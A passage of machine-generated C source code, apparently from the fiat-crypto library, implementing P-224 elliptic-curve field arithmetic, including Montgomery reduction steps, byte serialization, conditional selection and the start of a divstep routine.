fiat_p224_addcarryx_u32(&x108, &x109, x107, x82, 0x0); fiat_p224_addcarryx_u32(&x110, &x111, x109, x84, x96); fiat_p224_addcarryx_u32(&x112, &x113, x111, x86, x98); fiat_p224_addcarryx_u32(&x114, &x115, x113, x88, x100); fiat_p224_addcarryx_u32(&x116, &x117, x115, x90, (x101 + x93)); fiat_p224_mulx_u32(&x118, &x119, x104, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x120, &x121, x118, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x122, &x123, x118, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x124, &x125, x118, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x126, &x127, x118, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x128, &x129, 0x0, x127, x124); fiat_p224_addcarryx_u32(&x130, &x131, x129, x125, x122); fiat_p224_addcarryx_u32(&x132, &x133, x131, x123, x120); fiat_p224_addcarryx_u32(&x134, &x135, 0x0, x104, x118); fiat_p224_addcarryx_u32(&x136, &x137, x135, x106, 0x0); fiat_p224_addcarryx_u32(&x138, &x139, x137, x108, 0x0); fiat_p224_addcarryx_u32(&x140, &x141, x139, x110, x126); fiat_p224_addcarryx_u32(&x142, &x143, x141, x112, x128); fiat_p224_addcarryx_u32(&x144, &x145, x143, x114, x130); fiat_p224_addcarryx_u32(&x146, &x147, x145, x116, x132); fiat_p224_addcarryx_u32(&x148, &x149, x147, ((uint32_t)x117 + x91), (x133 + x121)); fiat_p224_mulx_u32(&x150, &x151, x3, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x152, &x153, x3, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x154, &x155, x3, UINT32_C(0xfffffffe)); fiat_p224_addcarryx_u32(&x156, &x157, 0x0, x155, x152); fiat_p224_addcarryx_u32(&x158, &x159, x157, x153, x150); fiat_p224_addcarryx_u32(&x160, &x161, 0x0, x136, x3); fiat_p224_addcarryx_u32(&x162, &x163, x161, x138, 0x0); fiat_p224_addcarryx_u32(&x164, &x165, x163, x140, 0x0); fiat_p224_addcarryx_u32(&x166, &x167, x165, x142, x154); fiat_p224_addcarryx_u32(&x168, &x169, x167, x144, x156); fiat_p224_addcarryx_u32(&x170, &x171, x169, x146, x158); fiat_p224_addcarryx_u32(&x172, &x173, x171, x148, (x159 + x151)); fiat_p224_mulx_u32(&x174, &x175, x160, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x176, &x177, x174, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x178, &x179, x174, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x180, &x181, x174, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x182, &x183, x174, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x184, &x185, 0x0, x183, x180); fiat_p224_addcarryx_u32(&x186, &x187, x185, x181, x178); fiat_p224_addcarryx_u32(&x188, &x189, x187, x179, x176); fiat_p224_addcarryx_u32(&x190, &x191, 0x0, x160, x174); fiat_p224_addcarryx_u32(&x192, &x193, x191, x162, 0x0); fiat_p224_addcarryx_u32(&x194, &x195, x193, x164, 0x0); fiat_p224_addcarryx_u32(&x196, &x197, x195, x166, x182); fiat_p224_addcarryx_u32(&x198, &x199, x197, x168, x184); fiat_p224_addcarryx_u32(&x200, &x201, x199, x170, x186); fiat_p224_addcarryx_u32(&x202, &x203, x201, x172, x188); fiat_p224_addcarryx_u32(&x204, &x205, x203, ((uint32_t)x173 + x149), (x189 + x177)); fiat_p224_mulx_u32(&x206, &x207, x4, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x208, &x209, x4, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x210, &x211, x4, UINT32_C(0xfffffffe)); fiat_p224_addcarryx_u32(&x212, &x213, 0x0, x211, x208); fiat_p224_addcarryx_u32(&x214, &x215, x213, x209, x206); fiat_p224_addcarryx_u32(&x216, &x217, 0x0, x192, x4); fiat_p224_addcarryx_u32(&x218, &x219, x217, x194, 0x0); fiat_p224_addcarryx_u32(&x220, &x221, x219, x196, 0x0); fiat_p224_addcarryx_u32(&x222, &x223, x221, x198, x210); fiat_p224_addcarryx_u32(&x224, &x225, x223, x200, x212); fiat_p224_addcarryx_u32(&x226, &x227, x225, x202, x214); fiat_p224_addcarryx_u32(&x228, &x229, x227, x204, (x215 + x207)); fiat_p224_mulx_u32(&x230, &x231, x216, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x232, &x233, x230, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x234, &x235, x230, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x236, &x237, x230, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x238, &x239, x230, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x240, &x241, 0x0, x239, x236); fiat_p224_addcarryx_u32(&x242, &x243, x241, x237, x234); fiat_p224_addcarryx_u32(&x244, &x245, x243, x235, x232); fiat_p224_addcarryx_u32(&x246, &x247, 0x0, x216, x230); fiat_p224_addcarryx_u32(&x248, &x249, x247, x218, 0x0); fiat_p224_addcarryx_u32(&x250, &x251, x249, x220, 0x0); fiat_p224_addcarryx_u32(&x252, &x253, x251, x222, x238); fiat_p224_addcarryx_u32(&x254, &x255, x253, x224, x240); fiat_p224_addcarryx_u32(&x256, &x257, x255, x226, x242); fiat_p224_addcarryx_u32(&x258, &x259, x257, x228, x244); fiat_p224_addcarryx_u32(&x260, &x261, x259, ((uint32_t)x229 + x205), (x245 + x233)); fiat_p224_mulx_u32(&x262, &x263, x5, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x264, &x265, x5, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x266, &x267, x5, UINT32_C(0xfffffffe)); fiat_p224_addcarryx_u32(&x268, &x269, 0x0, x267, x264); fiat_p224_addcarryx_u32(&x270, &x271, x269, x265, x262); fiat_p224_addcarryx_u32(&x272, &x273, 0x0, x248, x5); fiat_p224_addcarryx_u32(&x274, &x275, x273, x250, 0x0); fiat_p224_addcarryx_u32(&x276, &x277, x275, x252, 0x0); fiat_p224_addcarryx_u32(&x278, &x279, x277, x254, x266); fiat_p224_addcarryx_u32(&x280, &x281, x279, x256, x268); fiat_p224_addcarryx_u32(&x282, &x283, x281, x258, x270); fiat_p224_addcarryx_u32(&x284, &x285, x283, x260, (x271 + x263)); fiat_p224_mulx_u32(&x286, &x287, x272, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x288, &x289, x286, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x290, &x291, x286, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x292, &x293, x286, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x294, &x295, x286, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x296, &x297, 0x0, x295, x292); fiat_p224_addcarryx_u32(&x298, &x299, x297, x293, x290); fiat_p224_addcarryx_u32(&x300, &x301, x299, x291, x288); fiat_p224_addcarryx_u32(&x302, &x303, 0x0, x272, x286); fiat_p224_addcarryx_u32(&x304, &x305, x303, x274, 0x0); fiat_p224_addcarryx_u32(&x306, &x307, x305, x276, 0x0); fiat_p224_addcarryx_u32(&x308, &x309, x307, x278, x294); fiat_p224_addcarryx_u32(&x310, &x311, x309, x280, x296); fiat_p224_addcarryx_u32(&x312, &x313, x311, x282, x298); fiat_p224_addcarryx_u32(&x314, &x315, x313, x284, x300); fiat_p224_addcarryx_u32(&x316, &x317, x315, ((uint32_t)x285 + x261), (x301 + x289)); fiat_p224_mulx_u32(&x318, &x319, x6, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x320, &x321, x6, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x322, &x323, x6, UINT32_C(0xfffffffe)); fiat_p224_addcarryx_u32(&x324, &x325, 0x0, x323, x320); fiat_p224_addcarryx_u32(&x326, &x327, x325, x321, x318); fiat_p224_addcarryx_u32(&x328, &x329, 0x0, x304, x6); fiat_p224_addcarryx_u32(&x330, &x331, x329, x306, 0x0); fiat_p224_addcarryx_u32(&x332, &x333, x331, x308, 0x0); fiat_p224_addcarryx_u32(&x334, &x335, x333, x310, x322); fiat_p224_addcarryx_u32(&x336, &x337, x335, x312, x324); fiat_p224_addcarryx_u32(&x338, &x339, x337, x314, x326); fiat_p224_addcarryx_u32(&x340, &x341, x339, x316, (x327 + x319)); fiat_p224_mulx_u32(&x342, &x343, x328, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x344, &x345, x342, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x346, &x347, x342, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x348, &x349, x342, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x350, &x351, x342, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x352, &x353, 0x0, x351, x348); fiat_p224_addcarryx_u32(&x354, &x355, x353, x349, x346); fiat_p224_addcarryx_u32(&x356, &x357, x355, x347, x344); fiat_p224_addcarryx_u32(&x358, &x359, 0x0, x328, x342); fiat_p224_addcarryx_u32(&x360, &x361, x359, x330, 0x0); fiat_p224_addcarryx_u32(&x362, &x363, x361, x332, 0x0); fiat_p224_addcarryx_u32(&x364, &x365, x363, x334, x350); fiat_p224_addcarryx_u32(&x366, &x367, x365, x336, x352); fiat_p224_addcarryx_u32(&x368, &x369, x367, x338, x354); fiat_p224_addcarryx_u32(&x370, &x371, x369, x340, x356); fiat_p224_addcarryx_u32(&x372, &x373, x371, ((uint32_t)x341 + x317), (x357 + x345)); fiat_p224_subborrowx_u32(&x374, &x375, 0x0, x360, 0x1); fiat_p224_subborrowx_u32(&x376, &x377, x375, x362, 0x0); fiat_p224_subborrowx_u32(&x378, &x379, x377, x364, 0x0); fiat_p224_subborrowx_u32(&x380, &x381, x379, x366, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x382, &x383, x381, x368, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x384, &x385, x383, x370, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x386, &x387, x385, x372, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x388, &x389, x387, x373, 0x0); fiat_p224_cmovznz_u32(&x390, x389, x374, x360); fiat_p224_cmovznz_u32(&x391, x389, x376, x362); fiat_p224_cmovznz_u32(&x392, x389, x378, x364); fiat_p224_cmovznz_u32(&x393, x389, x380, x366); fiat_p224_cmovznz_u32(&x394, x389, x382, x368); fiat_p224_cmovznz_u32(&x395, x389, x384, x370); fiat_p224_cmovznz_u32(&x396, x389, x386, x372); out1[0] = x390; out1[1] = x391; out1[2] = x392; out1[3] = x393; out1[4] = x394; out1[5] = x395; out1[6] = x396; } /* * The function fiat_p224_nonzero outputs a single non-zero word if the input is non-zero and zero otherwise. * Preconditions: * 0 ≤ eval arg1 < m * Postconditions: * out1 = 0 ↔ eval (from_montgomery arg1) mod m = 0 * * Input Bounds: * arg1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * Output Bounds: * out1: [0x0 ~> 0xffffffff] */ static void fiat_p224_nonzero(uint32_t* out1, const uint32_t arg1[7]) { uint32_t x1; x1 = ((arg1[0]) | ((arg1[1]) | ((arg1[2]) | ((arg1[3]) | ((arg1[4]) | ((arg1[5]) | (arg1[6]))))))); *out1 = x1; } /* * The function fiat_p224_selectznz is a multi-limb conditional select. * Postconditions: * eval out1 = (if arg1 = 0 then eval arg2 else eval arg3) * * Input Bounds: * arg1: [0x0 ~> 0x1] * arg2: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * arg3: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] */ static void fiat_p224_selectznz(uint32_t out1[7], fiat_p224_uint1 arg1, const uint32_t arg2[7], const uint32_t arg3[7]) { uint32_t x1; uint32_t x2; uint32_t x3; uint32_t x4; uint32_t x5; uint32_t x6; uint32_t x7; fiat_p224_cmovznz_u32(&x1, arg1, (arg2[0]), (arg3[0])); fiat_p224_cmovznz_u32(&x2, arg1, (arg2[1]), (arg3[1])); fiat_p224_cmovznz_u32(&x3, arg1, (arg2[2]), (arg3[2])); fiat_p224_cmovznz_u32(&x4, arg1, (arg2[3]), (arg3[3])); fiat_p224_cmovznz_u32(&x5, arg1, (arg2[4]), (arg3[4])); fiat_p224_cmovznz_u32(&x6, arg1, (arg2[5]), (arg3[5])); fiat_p224_cmovznz_u32(&x7, arg1, (arg2[6]), (arg3[6])); out1[0] = x1; out1[1] = x2; out1[2] = x3; out1[3] = x4; out1[4] = x5; out1[5] = x6; out1[6] = x7; } /* * The function fiat_p224_to_bytes serializes a field element NOT in the Montgomery domain to bytes in little-endian order. * Preconditions: * 0 ≤ eval arg1 < m * Postconditions: * out1 = map (λ x, ⌊((eval arg1 mod m) mod 2^(8 * (x + 1))) / 2^(8 * x)⌋) [0..27] * * Input Bounds: * arg1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff]] */ static void fiat_p224_to_bytes(uint8_t out1[28], const uint32_t arg1[7]) { uint32_t x1; uint32_t x2; uint32_t x3; uint32_t x4; uint32_t x5; uint32_t x6; uint32_t x7; uint8_t x8; uint32_t x9; uint8_t x10; uint32_t x11; uint8_t x12; uint8_t x13; uint8_t x14; uint32_t x15; uint8_t x16; uint32_t x17; uint8_t x18; uint8_t x19; uint8_t x20; uint32_t x21; uint8_t x22; uint32_t x23; uint8_t x24; uint8_t x25; uint8_t x26; uint32_t x27; uint8_t x28; uint32_t x29; uint8_t x30; uint8_t x31; uint8_t x32; uint32_t x33; uint8_t x34; uint32_t x35; uint8_t x36; uint8_t x37; uint8_t x38; uint32_t x39; uint8_t x40; uint32_t x41; uint8_t x42; uint8_t x43; uint8_t x44; uint32_t x45; uint8_t x46; uint32_t x47; uint8_t x48; uint8_t x49; x1 = (arg1[6]); x2 = (arg1[5]); x3 = (arg1[4]); x4 = (arg1[3]); x5 = (arg1[2]); x6 = (arg1[1]); x7 = (arg1[0]); x8 = (uint8_t)(x7 & UINT8_C(0xff)); x9 = (x7 >> 8); x10 = (uint8_t)(x9 & UINT8_C(0xff)); x11 = (x9 >> 8); x12 = (uint8_t)(x11 & UINT8_C(0xff)); x13 = (uint8_t)(x11 >> 8); x14 = (uint8_t)(x6 & UINT8_C(0xff)); x15 = (x6 >> 8); x16 = (uint8_t)(x15 & UINT8_C(0xff)); x17 = (x15 >> 8); x18 = (uint8_t)(x17 & UINT8_C(0xff)); x19 = (uint8_t)(x17 >> 8); x20 = (uint8_t)(x5 & UINT8_C(0xff)); x21 = (x5 >> 8); x22 = (uint8_t)(x21 & UINT8_C(0xff)); x23 = (x21 >> 8); x24 = (uint8_t)(x23 & UINT8_C(0xff)); x25 = (uint8_t)(x23 >> 8); x26 = (uint8_t)(x4 & UINT8_C(0xff)); x27 = (x4 >> 8); x28 = (uint8_t)(x27 & UINT8_C(0xff)); x29 = (x27 >> 8); x30 = (uint8_t)(x29 & UINT8_C(0xff)); x31 = (uint8_t)(x29 >> 8); x32 = (uint8_t)(x3 & UINT8_C(0xff)); x33 = (x3 >> 8); x34 = (uint8_t)(x33 & UINT8_C(0xff)); x35 = (x33 >> 8); x36 = (uint8_t)(x35 & UINT8_C(0xff)); x37 = (uint8_t)(x35 >> 8); x38 = (uint8_t)(x2 & UINT8_C(0xff)); x39 = (x2 >> 8); x40 = (uint8_t)(x39 & UINT8_C(0xff)); x41 = (x39 >> 8); x42 = (uint8_t)(x41 & UINT8_C(0xff)); x43 = (uint8_t)(x41 >> 8); x44 = (uint8_t)(x1 & UINT8_C(0xff)); x45 = (x1 >> 8); x46 = (uint8_t)(x45 & UINT8_C(0xff)); x47 = (x45 >> 8); x48 = (uint8_t)(x47 & UINT8_C(0xff)); x49 = (uint8_t)(x47 >> 8); out1[0] = x8; out1[1] = x10; out1[2] = x12; out1[3] = x13; out1[4] = x14; out1[5] = x16; out1[6] = x18; out1[7] = x19; out1[8] = x20; out1[9] = x22; out1[10] = x24; out1[11] = x25; out1[12] = x26; out1[13] = x28; out1[14] = x30; out1[15] = x31; out1[16] = x32; out1[17] = x34; out1[18] = x36; out1[19] = x37; out1[20] = x38; out1[21] = x40; out1[22] = x42; out1[23] = x43; out1[24] = x44; out1[25] = x46; out1[26] = x48; out1[27] = x49; } /* * The function fiat_p224_from_bytes deserializes a field element NOT in the Montgomery domain from bytes in little-endian order. * Preconditions: * 0 ≤ bytes_eval arg1 < m * Postconditions: * eval out1 mod m = bytes_eval arg1 mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] */ static void fiat_p224_from_bytes(uint32_t out1[7], const uint8_t arg1[28]) { uint32_t x1; uint32_t x2; uint32_t x3; uint8_t x4; uint32_t x5; uint32_t x6; uint32_t x7; uint8_t x8; uint32_t x9; uint32_t x10; uint32_t x11; uint8_t x12; uint32_t x13; uint32_t x14; uint32_t x15; uint8_t x16; uint32_t x17; uint32_t x18; uint32_t x19; uint8_t x20; uint32_t x21; uint32_t x22; uint32_t x23; uint8_t x24; uint32_t x25; uint32_t x26; uint32_t x27; uint8_t x28; uint32_t x29; uint32_t x30; uint32_t x31; uint32_t x32; uint32_t x33; uint32_t x34; uint32_t x35; uint32_t x36; uint32_t x37; uint32_t x38; uint32_t x39; uint32_t x40; uint32_t x41; uint32_t x42; uint32_t x43; uint32_t x44; uint32_t x45; uint32_t x46; uint32_t x47; uint32_t x48; uint32_t x49; x1 = ((uint32_t)(arg1[27]) << 24); x2 = ((uint32_t)(arg1[26]) << 16); x3 = ((uint32_t)(arg1[25]) << 8); x4 = (arg1[24]); x5 = ((uint32_t)(arg1[23]) << 24); x6 = ((uint32_t)(arg1[22]) << 16); x7 = ((uint32_t)(arg1[21]) << 8); x8 = (arg1[20]); x9 = ((uint32_t)(arg1[19]) << 24); x10 = ((uint32_t)(arg1[18]) << 16); x11 = ((uint32_t)(arg1[17]) << 8); x12 = (arg1[16]); x13 = ((uint32_t)(arg1[15]) << 24); x14 = ((uint32_t)(arg1[14]) << 16); x15 = ((uint32_t)(arg1[13]) << 8); x16 = (arg1[12]); x17 = ((uint32_t)(arg1[11]) << 24); x18 = ((uint32_t)(arg1[10]) << 16); x19 = ((uint32_t)(arg1[9]) << 8); x20 = (arg1[8]); x21 = ((uint32_t)(arg1[7]) << 24); x22 = ((uint32_t)(arg1[6]) << 16); x23 = ((uint32_t)(arg1[5]) << 8); x24 = (arg1[4]); x25 = ((uint32_t)(arg1[3]) << 24); x26 = ((uint32_t)(arg1[2]) << 16); x27 = ((uint32_t)(arg1[1]) << 8); x28 = (arg1[0]); x29 = (x27 + (uint32_t)x28); x30 = (x26 + x29); x31 = (x25 + x30); x32 = (x23 + (uint32_t)x24); x33 = (x22 + x32); x34 = (x21 + x33); x35 = (x19 + (uint32_t)x20); x36 = (x18 + x35); x37 = (x17 + x36); x38 = (x15 + (uint32_t)x16); x39 = (x14 + x38); x40 = (x13 + x39); x41 = (x11 + (uint32_t)x12); x42 = (x10 + x41); x43 = (x9 + x42); x44 = (x7 + (uint32_t)x8); x45 = (x6 + x44); x46 = (x5 + x45); x47 = (x3 + (uint32_t)x4); x48 = (x2 + x47); x49 = (x1 + x48); out1[0] = x31; out1[1] = x34; out1[2] = x37; out1[3] = x40; out1[4] = x43; out1[5] = x46; out1[6] = x49; } /* * The function fiat_p224_set_one returns the field element one in the Montgomery domain. * Postconditions: * eval (from_montgomery out1) mod m = 1 mod m * 0 ≤ eval out1 < m * * Input Bounds: * Output Bounds: * out1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] */ static void fiat_p224_set_one(uint32_t out1[7]) { out1[0] = UINT32_C(0xffffffff); out1[1] = UINT32_C(0xffffffff); out1[2] = UINT32_C(0xffffffff); out1[3] = 0x0; out1[4] = 0x0; out1[5] = 0x0; out1[6] = 0x0; } /* * The function fiat_p224_msat returns the saturated representation of the prime modulus. * Postconditions: * twos_complement_eval out1 = m * 0 ≤ eval out1 < m * * Input Bounds: * Output Bounds: * out1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] */ static void fiat_p224_msat(uint32_t out1[8]) { out1[0] = 0x1; out1[1] = 0x0; out1[2] = 0x0; out1[3] = UINT32_C(0xffffffff); out1[4] = UINT32_C(0xffffffff); out1[5] = UINT32_C(0xffffffff); out1[6] = UINT32_C(0xffffffff); out1[7] = 0x0; } /* * The function fiat_p224_divstep computes a divstep. * Preconditions: * 0 ≤ eval arg4 < m * 0 ≤ eval arg5 < m * Postconditions: * out1 = (if 0 < arg1 ∧ (twos_complement_eval arg3) is odd then 1 - arg1 else 1 + arg1) * twos_complement_eval out2 = (if 0 < arg1 ∧ (twos_complement_eval arg3) is odd then twos_complement_eval arg3 else twos_complement_eval arg2) * twos_complement_eval out3 = (if 0 < arg1 ∧ (twos_complement_eval arg3) is odd then ⌊(twos_complement_eval arg3 - twos_complement_eval arg2) / 2⌋ else ⌊(twos_complement_eval arg3 + (twos_complement_eval arg3 mod 2) * twos_complement_eval arg2) / 2⌋) * eval (from_montgomery out4) mod m = (if 0 < arg1 ∧ (twos_complement_eval arg3) is odd then (2 * eval (from_montgomery arg5)) mod m else (2 * eval (from_montgomery arg4)) mod m) * eval (from_montgomery out5) mod m = (if 0 < arg1 ∧ (twos_complement_eval arg3) is odd then (eval (from_montgomery arg4) - eval (from_montgomery arg4)) mod m else (eval (from_montgomery arg5) + (twos_complement_eval arg3 mod 2) * eval (from_montgomery arg4)) mod m) * 0 ≤ eval out5 < m * 0 ≤ eval out5 < m * 0 ≤ eval out2 < m * 0 ≤ eval out3 < m * * Input Bounds: * arg1: [0x0 ~> 0xffffffff] * arg2: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * arg3: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * arg4: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * arg5: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * Output Bounds: * out1: [0x0 ~> 0xffffffff] * out2: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * out3: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * out4: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * out5: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] */ static void fiat_p224_divstep(uint32_t* out1, uint32_t out2[8], uint32_t out3[8], uint32_t out4[7], uint32_t out5[7], uint32_t arg1, const uint32_t arg2[8], const uint32_t arg3[8], const uint32_t arg4[7], const uint32_t arg5[7]) { uint32_t x1; fiat_p224_uint1 x2; fiat_p224_uint1 x3; uint32_t x4; fiat_p224_uint1 x5; uint32_t x6; uint32_t x7; uint32_t x8; uint32_t x9; uint32_t x10; uint32_t x11; uint32_t x12; uint32_t x13; uint32_t x14; uint32_t x15; fiat_p224_uint1 x16; uint32_t x17; fiat_p224_uint1 x18; uint32_t x19; fiat_p224_uint1 x20; uint32_t x21; fiat_p224_uint1 x22; uint32_t x23; fiat_p224_uint1 x24; uint32_t x25; fiat_p224_uint1 x26; uint32_t x27; fiat_p224_uint1 x28; uint32_t x29; fiat_p224_uint1 x30; uint32_t x31; uint32_t x32; uint32_t x33; uint32_t x34; uint32_t x35; uint32_t x36; uint32_t x37; uint32_t x38; uint32_t x39; uint32_t x40; uint32_t x41; uint32_t x42; uint32_t x43; uint32_t x44; uint32_t x45; uint32_t x46; fiat_p224_uint1 x47; uint32_t x48; fiat_p224_uint1 x49; uint32_t x50; fiat_p224_uint1 x51; uint32_t x52; fiat_p224_uint1 x53; uint32_t x54; fiat_p224_uint1 x55; uint32_t x56; fiat_p224_uint1 x57; uint32_t x58; fiat_p224_uint1 x59; uint32_t x60; fiat_p224_uint1 x61; uint32_t x62; fiat_p224_uint1 x63; uint32_t x64; fiat_p224_uint1 x65; uint32_t x66; fiat_p224_uint1 x67; uint32_t x68; fiat_p224_uint1 x69; uint32_t x70; fiat_p224_uint1 x71; uint32_t x72; fiat_p224_uint1 x73; uint32_t x74; fiat_p224_uint1 x75; uint32_t x76; uint32_t x77; uint32_t x78; uint32_t x79; uint32_t x80; uint32_t x81; uint32_t x82; uint32_t x83; fiat_p224_uint1 x84; uint32_t x85; fiat_p224_uint1 x86; uint32_t x87; fiat_p224_uint1 x88; uint32_t x89; fiat_p224_uint1 x90; uint32_t x91; fiat_p224_uint1 x92; uint32_t x93; fiat_p224_uint1 x94; uint32_t x95; fiat_p224_uint1 x96; uint32_t x97; uint32_t x98; fiat_p224_uint1 x99; uint32_t x100; fiat_p224_uint1 x101; uint32_t x102; fiat_p224_uint1 x103; uint32_t x104; fiat_p224_uint1 x105; uint32_t x106; fiat_p224_uint1 x107; uint32_t x108; fiat_p224_uint1 x109; uint32_t x110; fiat_p224_uint1 x111; uint32_t x112; uint32_t x113; uint32_t x114; uint32_t x115; uint32_t x116; uint32_t x117; uint32_t x118; fiat_p224_uint1 x119; uint32_t x120; uint32_t x121; uint32_t x122; uint32_t x123; uint32_t x124; uint32_t x125; uint32_t x126; uint32_t x127; uint32_t x128; fiat_p224_uint1 x129; uint32_t x130; fiat_p224_uint1 x131; uint32_t x132; fiat_p224_uint1 x133; uint32_t x134; fiat_p224_uint1 x135; uint32_t x136; fiat_p224_uint1 x137; uint32_t x138; fiat_p224_uint1 x139; 